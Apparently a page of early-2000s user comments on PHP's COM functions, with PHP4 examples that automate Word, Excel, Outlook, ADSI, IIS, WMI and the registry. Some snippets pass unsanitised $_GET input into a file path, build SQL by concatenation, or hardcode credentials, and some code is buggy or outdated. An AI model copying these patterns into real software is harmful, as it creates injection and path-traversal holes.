                             WHERE CONTAINS( '''''+@searchFor+''''' )'' ) AS dres' -- end of long sql-string

     exec (@sql)

     Attention 5 times ' !!!

4.)  Execute the string (F5)

5.) Create a simple stored procedure and copy the string from step 3. Make @searchFor an parameter of your sp

6.) You are done, lean back, enjoy and relax

To contact me remove the fruits.
martijn at lico dot nl
21-Jun-2004 08:30
A nice feature you get with COM is the ability to connect to the Windows Management Instrumentation (WMI for short). This allows you to monitor various system statistics (e.g. disk space en cpu usage) of local and remote systems.

Small example:

<?php
$hostname = ".";

$wmi = new COM("WinMgmts:{impersonationLevel=impersonate}
//{$hostname}/root/cimv2");

  $cpus = $wmi->ExecQuery("Select * from Win32_Processor");

  foreach ($cpus as $cpu)
  {
   echo trim($cpu->Name)." {$cpu->MaxClockSpeed}MHz {$cpu->LoadPercentage}%\n";
  }
?>

will give you this:

Intel Pentium III processor 860MHz 1%
Intel Pentium III processor 860MHz 2%

For more examples, see this post on my weblog: http://wiljedatikinjemond.com/article.php/2004061815294318
angelo [at] mandato <dot> com
04-Jun-2004 02:37
Useful PHP MSWord class I created to do some simple file conversions.  This class could have a lot more to it but I am not familiar with all the COM MS Word function calls.
<?php
   // msword.inc.php

   // NOTE: Using COM with windows NT/2000/XP with apache as a service
   // - Run dcomcnfg.exe
   // - Find word application and click properties
   // - Click the Security tab
   // - Use Custom Access Permissions
   //      - Add the user who runs the web server service
   // - Use Custom Launch permissions
   //      - Add the user who runs the web server service

   $wdFormatDocument = 0;
   $wdFormatTemplate = 1;
   $wdFormatText = 2;
   $wdFormatTextLineBreaks = 3;
   $wdFormatDOSText = 4;
   $wdFormatDOSTextLineBreaks = 5;
   $wdFormatRTF = 6;
   $wdFormatUnicodeText = 7;
   $wdFormatHTML=8;

   class MSWord
   {
       // Vars:
       var $handle;

       // Create COM instance to word
       function MSWord($Visible = false)
       {
           $this->handle = new COM("word.application") or die("Unable to instanciate Word");
           $this->handle->Visible = $Visible;
       }

       // Open existing document
       function Open($File)
       {
           $this->handle->Documents->Open($File);
       }

       // Create new document
       function NewDocument()
       {
           $this->handle->Documents->Add();
       }

       // Write text to active document
       function WriteText( $Text )
       {
           $this->handle->Selection->Typetext( $Text );
       }

       // Number of documents open
       function DocumentCount()
       {
           return $this->handle->Documents->Count;
       }

       // Save document as another file and/or format
       function SaveAs($File, $Format = 0 )
       {
           $this->handle->ActiveDocument->SaveAs($File, $Format);
       }

       // Save active document
       function Save()
       {
           $this->handle->ActiveDocument->Save();
       }

       // close active document.
       function Close()
       {
           $this->handle->ActiveDocument->Close();
       }

       // Get word version
       function GetVersion()
       {
           return $this->handle->Version;
       }

       // get handle to word
       function GetHandle()
       {
           return $this->handle;
       }

       // Clean up instance with word
       function Quit()
       {
           if( $this->handle )
           {
               // close word
               $this->handle->Quit();

               // free the object
               $this->handle->Release();
               $this->handle = null;
           }
       }
   };

?>

Example 1, opens an html file, writes text to it, then saves it as a document:
<?php
   $input = "C:\\test.htm";
   $output = "C:\\test.doc";

   $Word = new MSWord;
   $Word->Open($input);
   $Word->WriteText("This is a test ");
   $Word->SaveAs($output);
   $Word->Quit();
?>

Example 2, opens an html file, then saves it as a rtf file:
<?php
   $input = "C:\\test.htm";
   $output = "C:\\test.rtf";

   $Word = new MSWord;
   $Word->Open($input);
   $Word->SaveAs($output, $wdFormatRTF);
   $Word->Quit();
?>
angelo [at] mandato <dot> com
19-May-2004 07:30
Useful PHP functions I created (similar to other standard PHP database functions) for working with an ADO datasource:
<?php
   // ado.inc.php

   $ADO_NUM = 1;
   $ADO_ASSOC = 2;
   $ADO_BOTH = 3;

   function ado_connect( $dsn )
   {
       $link = new COM("ADODB.Connection");
       $link->Open($dsn);
       return $link;
   }

   function ado_close( $link )
   {
       $link->Close();
   }

   function ado_num_fields( $rs )
   {
       return $rs->Fields->Count;
   }

   function ado_error($link)
   {
       return $link->Errors[$link->Errors->Count-1]->Number;
   }

   function ado_errormsg($link)
   {
       return $link->Errors[$link->Errors->Count-1]->Description;
   }

   function ado_fetch_array( $rs, $result_type,  $row_number = -1 )
   {
       global $ADO_NUM, $ADO_ASSOC, $ADO_BOTH;
       if( $row_number > -1 ) // Defined in adoint.h - adBookmarkFirst    = 1
           $rs->Move( $row_number, 1 );

       if( $rs->EOF )
           return false;

       $ToReturn = array();
       for( $x = 0; $x < ado_num_fields($rs); $x++ )
       {
           if( $result_type == $ADO_NUM || $result_type == $ADO_BOTH )
               $ToReturn[ $x ] = $rs->Fields[$x]->Value;
           if( $result_type == $ADO_ASSOC || $result_type == $ADO_BOTH )
               $ToReturn[ $rs->Fields[$x]->Name ] = $rs->Fields[$x]->Value;
       }
       $rs->MoveNext();
       return $ToReturn;
   }

   function ado_num_rows( $rs )
   {
       return $rs->RecordCount;
   }

   function ado_free_result( $rs )
   {
       $rs->Close();
   }

   function ado_query( $link, $query )
   {
       return $link->Execute($query);
   }

   function ado_fetch_assoc( $rs,  $row_number = -1 )
   {
       global $ADO_ASSOC;
       return  ado_fetch_array( $rs, $ADO_ASSOC, $row_number);
   }

   function ado_fetch_row( $rs,  $row_number = -1 )
   {
       global $ADO_NUM;
       return ado_fetch_array( $rs, $ADO_NUM, $row_number);
   }

   // Extra functions:
   function ado_field_len( $rs, $field_number )
   {
       return $rs->Fields[$field_number]->Precision;
   }

   function ado_field_name( $rs, $field_number )
   {
       return $rs->Fields[$field_number]->Name;
   }

   function ado_field_scale( $rs, $field_number )
   {
       return $rs->Fields[$field_number]->NumericScale;
   }

   function ado_field_type( $rs, $field_number )
   {
       return $rs->Fields[$field_number]->Type;
   }

?>

The aod version was a typo.
markshane1 at fuse dot net
11-May-2004 07:41
Here is a COM function that creates an excel spreadsheet with any number of worksheets, containing data from a matching number of SQL queries.  Be ware of the upper limit of excel worksheets.  This function properly shuts down Excel on the server.
/***************************/
   function WriteExcel($strPath,$astrSheetName,$astrSQL){
/* This function takes a file save path, and array of sheet names and a corresponding array */
/* of SQL queries for each sheet and created a multi-worksheet excel spreadsheet*/
   $C_NAME=__CLASS__."::".__FUNCTION__;
       $dbs=new clsDB;
       $exapp = new COM("Excel.Application") or Die ("Did not connect");
       $intSheetCount=count($astrSheetName);
       $wkb=$exapp->Workbooks->Add();
           $exapp->Application->Visible = 1;
       for ($int=0;$int<$intSheetCount;$int++){
           $sheet=$wkb->Worksheets($int+1);
           $sheet->activate;
           $sheet->Name=$astrSheetName[$int];
           $intRow=1;
           $qrySQL=$dbs->GetQry($astrSQL[$int],$C_NAME,__LINE__);
           $rstSQL=$qrySQL->fetchRow(DB_FETCHMODE_ASSOC);
           $astrKeyNames=array_keys($rstSQL);
           $intCols=count($astrKeyNames);
           $qrySQL=$dbs->GetQry($astrSQL[$int],$C_NAME,__LINE__);
           while($rstSQL=$qrySQL->fetchRow(DB_FETCHMODE_ASSOC)){
               $strOut="";//initialize the output string
               for ($int2=0;$int2<$intCols;$int2++){//we start at 1 because don't want to output the table's index
                   if($intRow==1){
                       $strOut=$astrKeyNames[$int2];
                   }else{
                       $strOut=$rstSQL[$astrKeyNames[$int2]];
                   }
                       $sheet->activate;
                       $cell=$sheet->Cells($intRow,($int2+1));//->activate;
                       $cell->Activate;
                         $cell->value = $strOut;
                   }//end of colcount for loop
               $intRow++;
           }//end while loop
       }//end sheetcount for loop
       if (file_exists($strPath)) {unlink($strPath);}
       $wkb->SaveAs($strPath);
       $wkb->Close(false);
       unset($sheet);
       $exapp->Workbooks->Close(false);
       unset($wkb);
       $exapp->Quit;
       unset($exapp);
       unset($dbs);
   }//function WriteExcel
Haseldow
05-Apr-2004 08:31
Simple example for creating your own dll's which can be called as COM objects in PHP:

First create your ActiveX dll (Visual Basic):
Name your project as "foo" and class as "bar".

'---start VB code---
Public Function hello() As String
   hello = "Hello World!"
End Function
'---end VB code---

Then make the dll and register it with regsvr32.exe

Now create your PHP script:

<?php
$obj = new COM("foo.bar");
$output=$obj->hello(); // Call the "hello()" method
echo $output; // Displays Hello World! (so this comes from the dll!)
?>
mark dickens at mindspring dot com
01-Mar-2004 12:03
Just a note to those wanting to use COM to interface to printers under Windows 2000/XP.  If it doesn't work or seems to hang, try changing the logon identity under which the Apache (assuming you're using Apache) service is running from the System account to another account.  By default most services will install to run under the System account and although the System account has total authority on the computer it is running on, it has no authority outside of that realm as I understand it.  Apparently accessing printers is considered "outside the realm".  I used this technique to interface a Dymo thermal label printer to my server and it works now.
platiumstar at canada dot com
13-Feb-2004 07:08
I didn't found any working examples of PHP using the MSMQ COM object, so I made up one, thought I share it with everybody..it works ok.
You have to create a local Public message queue named "TestQueue" first.

define(MQ_SEND_ACCESS , 2);
define(MQ_DENY_NONE , 0);

$msgQueueInfo =  new COM("MSMQ.MSMQQueueInfo") or die("can not create MSMQ Info object");
$msgQueueInfo->PathName = ".\TestQueue";

$msgQueue =  new COM("MSMQ.MSMQQueue") or die("can not create MSMQ object");
$msgQueue=$msgQueueInfo->Open(MQ_SEND_ACCESS, MQ_DENY_NONE );

$msgOut = new COM("MSMQ.MSMQMessage") or die("can not create MSMQ message object");
$msgOut->Body = "Hello world!";
$msgOut->Send($msgQueue);

$msgQueue->Close();
unset($msgOut);
unset($msgQueue);
unset($msgQueueInfo);

enjoy
PS
kleontiv -at- combellga -dot- ru
16-Dec-2003 03:47
And here is an example of using ADSI via ADODB. This sample is unique because only ADODB can provide recursive Active directory searching and listing. But ADODB can only READ Active directory. So you can find something by ADODB and then modify that directly by ADSI.

With previos example this help build you PHP coded interface to Menaging and browsing Microsoft Active Directory.

Also ADODB on ADSI helps you sort recordset and search on it.

<?php

$objConnection = new COM ("ADODB.Connection") ;
$objConnection->Open("Provider=ADsDSOObject;user id=DOMAIN\\login;password=your_passowrd;") ;

$objCommand = new COM("ADODB.Command") ;
$objCommand->ActiveConnection = $objConnection ;

$Cmd  = "<LDAP://dc=mydomain,dc=com>;" ;
$Cmd .= "(&(objectClass=user)(mail=*)(!cn=SystemMailbox*));" ;
$Cmd .= "name,mail,telephoneNumber;subtree" ;

$objCommand->Properties['Sort On']->Value = "name" ;

$objCommand->CommandText = $Cmd ;
$objRecordSet = $objCommand->Execute() ;

$OrderNumber = 0 ;
while(!$objRecordSet->EOF())
 {
  $OrderNumber ++ ;
  $nn = $objRecordSet->Fields['name']->Value ;
  $mm = $objRecordSet->Fields['mail']->Value ;
  $ph = $objRecordSet->Fields['telephoneNumber']->Value ;
  echo "$OrderNumber: $nn mail: $mm phone: $ph<br>" ;
  $objRecordSet->MoveNext() ;
 }

Echo "===========================<br>" ;
Echo "All MailBoxes: " ;
Echo $objRecordSet->RecordCount() ;
$objRecordSet->Close() ;
$objCommand->Close() ;
$objConnection->Close() ;

unset($objRecordSet) ;
unset($objCommand) ;
unset($objConnection) ;

?>
kleontiv -at- combellga -dot- ru
16-Dec-2003 01:27
I think some one wants to access to Microsoft Active Directory using ADSI with different credential by PHP. You can also do it via pure LDAP but using ADSI it is more simpler.

On VB, VBS or ASP you can do like folowing (so not trivial):

<%
Set dso = GetObject("LDAP:")

Set DsObj = dso.OpenDSObject( _
   "LDAP://DC=mydomain,DC=com", _
   "DOMAIN\login", _
   "password", _
   ADS_SECURE_AUTHENTICATION + ADS_SERVER_BIND + ADS_USE_ENCRYPTION)

for each Obj in DsObj
   Response.Write Obj.name & " with class of: " & Obj.class & "<br>"
next
%>

On PHP you can do like that:

<?php
$ADSI = new COM("LDAP:") ;

$DsObj = $ADSI->OpenDsObject("LDAP://DC=mydomain,DC=com",
                             "DOMAIN\login",
                             "password",
                             515) ;

while($Obj = $DsObj->Next())
 {
  echo $Obj->name.' with class of: '.$Obj->class.'<br>' ;
 }
?>

The access type enumeration you can use as ADS_AUTHENTICATION_ENUM.
david at wu-man dot com
07-Dec-2003 06:42
After many hours of trial and error, I have finally discovered how to kill the notorious Word process.  I hope my solution works for everyone else.

#1) $word->Quit() is perfectly fine.  Don't bother feeding in as parameter those empty variants.

#2) Do NOT have com_load_typelib('Word.Application') anywhere in your script.

#3) Make sure you have the following line before $word->Quit() :

$word->Documents[1]->Close(false);

#4) Add the following lines after $word->Quit() :

$word->Release();
$word = null;
unset($word);

If my solution indeed helped you with your problem, please email me and let me know.  I would like to see if the problem was indeed solved.
aldric dot vaseur at sirom dot fr
05-Dec-2003 12:07
Yes !
Finally i found how to kill MsWord Com process...

The next MSWord function does not work if the optional args are empty :

this doesn't work:
   $word->Quit();

but this is ok :
   $empty = new VARIANT(); //for optional args...
   $word->Quit($empty,$empty,$empty);

Hope this usefull.

Aldric
alanraycom at el hogar dot net com
04-Dec-2003 07:50
XSLT transformations using MSXML can be done with this code

function xsltransform1($xslpath,$xmlstring)
 {
  $xml= new COM("Microsoft.XMLDOM");
  $xml->async=false;
  // $xmlstring is an xml string
  $xml->load($xmlstring);
  $xsl = new COM("Microsoft.XMLDOM");
  $xsl->async=false;
  // $xslpath is path to an xsl file
  $xsl->load($xslpath);
  $response=$xml->transformNode($xsl);
  unset($xml);
  unset($xsl);
  return $response;
 }

// enjoy
//Alan Young
chris at hitcatcher dot com
02-Dec-2003 08:19
Many COM objects don't do well when passing long (win32) filenames as function parameters.  You can get the 8.3 name of the folder or file on *most* (some win platforms don't support it, and it can be toggled off in the registry for performance reasons) servers using the following:

<?php
//create FSO instance
$exFSO = new COM("Scripting.FileSystemObject") or die ("Could not create Scripting.FileSystemObject");

//set vars
$myDir = "C:\\Program Files\\";
$myFile = "a long file name.txt";

//get folder & file objects
$exDir = $exFSO->GetFolder($myDir);
$exFile = $exFSO->GetFile($myDir . $myFile);
echo $exDir->ShortPath;
echo $exFile->ShortPath;
?>
24-Nov-2003 01:57
Here is an example of reading the custom properties like Author, Keywords, etc. which are stored in MS Office and other Windows files. You must install and register dsofile as described at http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q224351. The .frm file in that distribution lists most of the available properties.

// the file you wish to access
$fn = '/docs/MFA.xls';

$oFilePropReader = new COM('DSOleFile.PropertyReader');
$props = $oFilePropReader->GetDocumentProperties($fn);

// one syntax
$au = com_get($props, 'Author');
print "au: $au \n";

//another syntax
$str = 'LastEditedBy';
$lsb = $props->$str;
var_dump($lsb);

// set a property if you wish
if (!$props->IsReadOnly()) {
  $props->Subject = 'tlc';
}
brana
17-Nov-2003 09:17
How to send email via MAPI (works with Windows NT4, apache launched as a service)

#New MAPI session...
$session = new COM("MAPI.Session");

#Login
$strProfileInfo = "exchange_server" . chr(10) . "exchange_user";
$session->Logon("", "", 0, 1, 0, 1, $strProfileInfo);

# New message...
$msg = $session->Outbox->Messages->Add();
$msg->Subject = "Subject";
$msg->Text = "body";

#set recipients...
$rcpts = $msg->Recipients;
$rcpts->AddMultiple("toto@toto.com", 1);  #To...
$rcpts->AddMultiple("titi@titi.com", 2);  #Cc...
$rcpts->AddMultiple("tutu@tutu.com", 3);  #Bcc...

# Resolve senders
$rcpts->Resolve();

#Send message
$msg->Send();

#Logoff
$session->Logoff();

#Cleanup
if($msg!=null) {
   $msg->Release();
   $msg = null;
}
if($session!=null) {
   $session->Release();
   $session = null;
}

ps : NT account launching the service and exchange user must match !
max at netznacht dot de
11-Nov-2003 11:45
Apache 1.3
PHP 4.x

I found the Example from Admin Purplerain usefull but, it wasn't working without this first Line:

com_load_typelib('Outlook.Application');

// after that the code from Purplerain
$objApp = new COM("Outlook.Application");
$myItem = $objApp->CreateItem(olMailItem);
$a=$myItem->Recipients->Add("your adress here");
$myItem->Subject="Subject";
$myItem->Body="This is a Body Section now.....!";
$myItem->Display();
$myItem->Send();

Still have to switch of the Outlook Security Warnings.
11-Nov-2003 09:25
RE: PROBLEM QUITTING MICROSOFT EXCEL

I strongly suspect this is due to excel helpfully asking "Do you want to save the changes you made to  'Book1'?" when Quit is called.

This can be avoided by making sure that you set the 'Saved' property to True on ALL workbooks before exiting.

Assuming you only have the one workbook:
$excel->ActiveWorkbook->Saved = 1

Word suffers a similar problem and you must set the saved property to true on each document.

This demonstrates the pitfalls of scripting Word, Excel and similar applications in a non-interactive environment.
dirk_hahn at westlb-systems dot de
07-Nov-2003 12:07
Hi,
Ive GOOGLED alot to find out how to use the MS Index Server (which comes with IIS-Webserver) as a search engine. Here is the code that makes a connection via ADO and lists a result for a given searchstring. Hope you'll find it usefull, it will surely prevent you from searching a long time in search engines. If anybody knows how to do it better, feel free to post it here. The following url contains a description for the index server. It also mentions some further features of the index server (http://www.jiafangyifang.com/memo.php?ID=3232  japanese only, sorry).

$searchstring="news";
         $INDEXCATALOG="YourCatalogName";
         $objIndexServer = new COM("ADODB.Connection") or die("Cannot start ADO");
       $objIndexServer->Provider = "msidxs";
       $objIndexServer->Open($INDEXCATALOG);

       $sql="SELECT DocTitle, VPath, Path, Filename, Access, HitCount, Rank "
           ."FROM SCOPE('DEEP TRAVERSAL OF \"d:\inetpub\intranet \"') "
           ."WHERE ((CONTAINS(' \"$searchstring\" ') >0) "
           ."AND ((Path NOT LIKE '%\_vti%') AND (Path NOT LIKE '%\_private%') "
           ."AND (Filename NOT LIKE 'search.php'))) ORDER BY Rank DESC";

       $objRS = $objIndexServer->Execute("$sql"); # submit the query

       while (!$rs->EOF) //create output
       {
           echo
           $objRS->Fields["DOCTITLE"]->value." -- "
           .$objRS->Fields["FILENAME"]->value." -- "
           .date("d.M.y",$objRS->Fields["ACCESS"]->value)." -- "
           .$objRS->Fields["HITCOUNT"]->value." -- "
           .($objRS->Fields["RANK"]->value/10)."% ----> "
           .$objRS->Fields["VPATH"]->value
           ."<br>";
           $objRS->MoveNext();
       }
feelingflash at hotmail dot com
04-Nov-2003 04:13
PROBLEM QUITTING MICROSOFT EXCEL

I have been trying to solve the problem of terminating the excel process when using the COM functionality. I found a few 'supposed fixes' including not using arrays etc but none of them seemed to work. Example:

$excel->application->Quit();
$excel->Quit();

None of these variants properly quit the process - ONLY the visible application. Several hours of using your code would leave thousands of excel processes running invisibly in the background and eating all your ram very quickly.

As I was developing on a solution designed to work on clients running windows, my solution was to install microsofts 'kill.exe' into the windows directory and then run it using:

shell_exec("kill excel.exe");

One problem is because kill.exe is an add on utility, some clients running windows will not have it. The solution is then to use file_exists(filename) to detect for the file and then if not present, let the user download it. Example:

$killApp = "C:\WINDOWS\KILL.EXE";

if (file_exists($killApp)) {
   # continue
} else {
   # show message and link to kill.exe download
}
superzouz is at hotmail
11-Oct-2003 08:46
-- Catching COM events --
Hello everyone.
Anyone who did VB + COM would know something is missing here: events!
Here's how to catch IE events using some undocumented functions:
----------
class ieSinker {
   var $terminated = false;
   function TitleChange($text) {
         echo("title has changed: $test \n");
         }
   function OnQuit() {
           echo "Quit!\n";
           $this->terminated = true;
           }
   }

$ie = new COM("InternetExplorer.Application");
$ieSink =& new ieSinker();
com_event_sink($ie, $ieSink, "DWebBrowserEvents2");
$ie->navigate(' PATH TO YOUR HTML FILE GOES HERE! ');
$ie->visible = True;
while(!$ieSink->terminated) {
   com_message_pump(10);
   }
----------
Works perfect for me with php 4.3
You can find more info on the undocumented functions in the YACL documentation.
Note the "DWebBrowserEvents2" interface. You can find more information about these in the microsoft platform SDK documentation, under "web development". Or maybe they have a smaller web development SDK? I wasn't able to use any other interface, so what I do is send messages from IE to the PHP script by changing the title of the html document with JavaScript.
By the way, I cant take credit for the above code, I stole it from some website of which I lost the address.
Thats it... bye...
04-Oct-2003 03:55
Convert Microsoft word document .DOC to adobe acrobat .PS or .PDF files:

Drawback: if any dialog boxes pop up, the conversion will become non-automated.

<?
// You must have word and adobe acrobat distiller on
// your system, although theoretically any printer driver
// that makes .PS files would work.

// starting word
$word = new COM("word.application") or die("Unable to instanciate Word");
print "Loaded Word, version {$word->Version}\n";

// bring it to front
$word->Visible = 1;

// Select the acrobat distiller as the active printer.
// I presume that you could also use the Acrobat PDF writer // driver that comes with Acrobat full version.
$word->ActivePrinter = "Acrobat Distiller";

// Open a word document, or anything else that word
// can read
$word->Documents->Open($input);

// This will create a .PS file called $output
$word->ActiveDocument->PrintOut(0, 0, 0, $output);

// If you need a .pdf instead, use the acrobat
// distiller's watched folder option.

// closing word
$word->Quit();

// free the object
$word->Release();
$word = null;

?>
court shrock
26-Sep-2003 08:24
took me a while until I found out how to loop through COM objects in PHP.... in ASP, you use something like:

<%
set domainObject = GetObject("WinNT://Domain")

for each obj in domainObject
  Response.write obj.Name & "<br>"
next

%>

I finally found a note in a PHP bogus bug report that said you needed to do something like this (this is using ADSI):

<?php
$adsi = new COM("WinNT://Domain");

while($obj = $adsi->Next()) {
  echo $obj->Name.'<br>';
}// while

// will list all the names of all objects in the domain 'Domain'
?>

Also, you can access the IIS metabase by doing something like the following:

<?php
$iis = new COM("IIS://localhost/w3svc");

while($obj = $iis->Next()) {
  if ($obj->Class == 'IISWebServer') {
   $site = new COM("IIS://Localhost/w3svc/".$obj->Name);
   echo 'serviceID ('.$obj->Name.'): '.$site->ServerComment.'<br>';
   $bindings = $site->ServerBindings;

   echo '<ul>';
   foreach($bindings as $binding) {
     list($ip, $port, $hostHeader) = explode(':', $binding);
     echo "<li>$ip:$port -- $hostHeader</li>";
   }// foreach
   echo '</ul>';

   // hint: ssl bindings are in $site->SecureBindings

   unset($site);

  }// if

}// while
unset($iis);

// will list all the sites and their bindings on 'localhost'
?>
mkcostello at hotmail dot com
23-Sep-2003 12:35
Took me a while to work this out as there is very little help available. Accessing com variables that are multi arrays can prove tricky.

e.g.
$ex = new COM("application");

$ex->Stock->stSalesBands
is an array A-H [stPrice,stCurrency]

php chucks out an error on this:
$ex->Stock->stSalesBands(C)->stPrice;

so, you have to do this
$tmp = $ex->Stock->stSalesBands(C);
echo $tmp->stPrice;
unset($tmp)
php at dictim dot com
07-Sep-2003 04:17
This took me days to work out how to do so I gotta share it:

How to get the word count from a MS Word Document:

#Instantiate the Word component.

$word = new COM("word.application") or die("Unable to instantiate Word");

$word->Visible = 1;

$word->Documents->Open("c:/anydocument.doc");
$temp = $word->Dialogs->Item(228);
$temp->Execute();
$numwords = $temp->Words();

echo $numwords;

$word->Quit();

Note that this is the only way to get the word count accurately:
$word->ActiveDocument->Words->Count;
Will see all carriage returns and punctuation as words so is wildy innaccurate.
seidenberg at cf-mail dot net
12-Jul-2003 06:36
open PDF Documents with Internet Explorer

$browser = new COM("InternetExplorer.Application");
$browser->Visible = true;
$browser->Navigate("path_to_your_pdf_document");

this works for me with php-gtk
tomas dot pacl at atlas dot cz
16-Jun-2003 09:07
Passing parameters by reference in PHP 4.3.2 (and in a future releases of PHP )

In PHP 4.3.2 allow_call_time_pass_reference option is set to "Off" by default and future versions may not support this option any longer.
Some COM functions has by-reference parameters. VARIANT object must be used to call this functions, but it would be passed without an '&' before variable name.

Example:

$myStringVariant = new VARIANT("over-write me", VT_BSTR);

/* works */
$result = $comobj->DoSomethingTo($myStringVariant );

/* works only with allow_call_time_pass_reference option set to "On" and may not work in a future release of PHP */
$result = $comobj->DoSomethingTo(&$myStringVariant );

The value in the variant can be retrieved by:
$theActualValue = $myStringVariant->value;
php at racinghippo dot co dot uk
23-Mar-2003 09:47
PASSING/RETURNING PARAMETERS BY REFERENCE
=========================================

Some COM functions not only return values through the return value, but also act upon a variable passed to it as a parameter *By Reference*:

RetVal = DoSomethingTo (myVariable)

Simply sticking an '&' in front of myVariable doesn't work - you need to pass it a variant of the correct type, as follows:

  $myStringVariant = new VARIANT("over-write me", VT_BSTR);
  $result = $comobj->DoSomethingTo( &$myStringVariant );

The value in the variant can then be retrieved by:

  $theActualValue = $myStringVariant->value;

Other types of variant can be created as your needs demand - see the preceding section on the VARIANT type.
alex at domini dot net
05-Mar-2003 06:55
To manage the Windows Register at HKEY_LOCAL_MACHINE\SOFTWARE\ use these functions:

<?php

/**
 * @return string
 * @param aplicacio string
 * @param nom string
 * @desc Retorna el valor del registre HKEY_LOCAL_MACHINE\SOFTWARE\aplicacio\nom
 */
function rtv_registre($aplicacio, $nom)
{
   Global $WshShell;
   $registre =  "HKEY_LOCAL_MACHINE\SOFTWARE\\" . $aplicacio . "\\"  . $nom;
   $valor = $WshShell->RegRead($registre);
   return($valor);

}

/**
 * @return string
 * @param aplicacio string
 * @param nom string
 * @param valor string
 * @param tipus string
 * @desc Actualitza el valor del registre HKEY_LOCAL_MACHINE\SOFTWARE\aplicacio\nom
 */
function put_registre($aplicacio, $nom, $valor, $tipus="REG_SZ")
{
   Global $WshShell;
   $registre =  "HKEY_LOCAL_MACHINE\SOFTWARE\\" . $aplicacio . "\\"  . $nom;
   $retorn = $WshShell->RegWrite($registre, $valor, $tipus);
   return($retorn);

}

//
// Creem una instncia del COM que ens serveix per
// accedir al registre de Windows, i la mantenim.
// D'aquesta manera millorem el rendiment.
$WshShell = new COM("WScript.Shell");
?>
richard dot quadling at carval dot co dot uk
26-Feb-2003 09:51
With thanks to Harald Radi and Wez Furlong.

Some VBA functions have optional parameters. Sometimes the parameters you want to pass are not consecutive.

e.g.

GoTo What:=wdGoToBookmark, Name="BookMarkName"
GoTo(wdGoToBookmark,,,"BookMarkName)

In PHP, the "blank" parameters need to be empty.

Which is ...

<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.
pchason at juno dot com
12-Dec-2002 03:23
Searched for days on how to set up a multi-column html output grid that didn't use an array when creating an ADODB connection. Couldn't find one so I figured it out myself. Pretty simple. Wish I would have tried it myself sooner. Commented code with database connection is below...

<html>
<body>
<table>
<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
$clients = $rs->Fields(1);
//start the multicolumn data output
$i = 0;
$columns = 5;
while (!$rs->EOF){
//if $i equals 0, start a row
if($i == 0){
echo "<tr>";
}
//then start writing the cells in the row, increase $i by one, and move to the next record
echo "<td>" . $clients->value . "</td>";
$i++;
$rs->movenext();
//once $i increments to equal $columns, end the row,
//and start the process over by setting $i to 0
if($i == $columns || $rs->EOF) {
echo "</tr>";
$i = 0;
   }
}
//end multicolumn data output

//close the ADO connections and release resources
$rs->Close();
$conn->Close();
$rs = null;
$conn = null; ?>
</table>
</body>
</html>
daveNO at SPAMovumdesign dot com
27-Sep-2002 12:52
The documentation for this feature is a bit redundant. It mentions that COM performs and encourages information hiding (a.k.a. encapsulation) three times. Perhaps instead it could expand a bit on what COM is useful for, and particularly why combining it with PHP can be beneficial.

The contributed examples above do a nice job of illustrating the benefits of PHP+COM. In a nutshell, many Windows applications (especially office suites and databases) expose useful functionality through the COM interface.

For example, Microsoft Word can read RTF files and (of course) write Word Documents. You could use PHP to generate RTF and then use Microsoft Word via PHP's COM interface to convert the RTF to a DOC. The amazing thing about this is that you can actually insert PHP (or template) code into Word itself, because RTF files are text-based like HTML. Throw Distiller into the mix and you've got a web-based, template-driven, maybe even database-driven PDF generator!

Have fun,
Dave
tedknightusa at hotmail dot com
27-Sep-2002 12:29
A Notes example:

$session = new COM "Lotus.NotesSession" );
$session->Initialize($password);

$someDB = "C:\Lotus\Notes\Data\somedb.nsf";
$db = $session->GetDatabase("", $someDB) or die("Cannot get someDB.nsf");
$view = $db->GetView("some_view") or die("Some View not found");

$doc = $view->GetFirstDocument() or die("Unable to get Initial Some Document");

// loop through
while($doc){
  $col_vals = $doc->ColumnValues();
  echo $col_vals[0];
  $doc = $view->GetNextDocument($doc);
}
dwt at myrealbox dot com
27-Aug-2002 06:31
When first writing applications instancing COM objects I always faced the problem of the instanced program not terminating correctly although everything else worked fine. In fact the process had to be killed manually by using the task manager. When experimenting a bit I was able to isolate the cause for this peculiar behaviour to be illustrated by the sample code below:

<?php

//Accessing arrays by retrieving elements via function ArrayName(Index) works, but certainly is neither efficient nor good style
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$book=$excel->Workbooks(1);
$sheet=$book->Worksheets(1);

$sheet->Name="Debug-Test";
$book->saveas("C:\\debug.xls");

$book->Close(false);
unset($sheet);
unset($book);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

//Accessing arrays as usual (using the [] operator) works, buts leads to the application not being able to terminate by itself
$excel=new COM("Excel.Application");
$excel->sheetsinnewworkbook=1;
$excel->Workbooks->Add();

$excel->Workbooks[1]->Worksheets[1]->Name="Debug-Test";
$excel->Workbooks[1]->saveas("C:\\debug.xls");

$excel->Workbooks[1]->Close(false);
$excel->Workbooks->Close();
$excel->Quit();
unset($excel);

?>

The sample code performs the same action twice and each time the file is properly created. Yet for some mysterious reason the instanced excel process won't terminate once you've accessed an array the way most programmers (especially those who do a lot of oop in c++) do! Therefore until the PHP developers become aware of this problem we'll have to use the inefficient coding style illustrated in the first example.
nospam at bol dot com dot br
21-Aug-2002 06:30
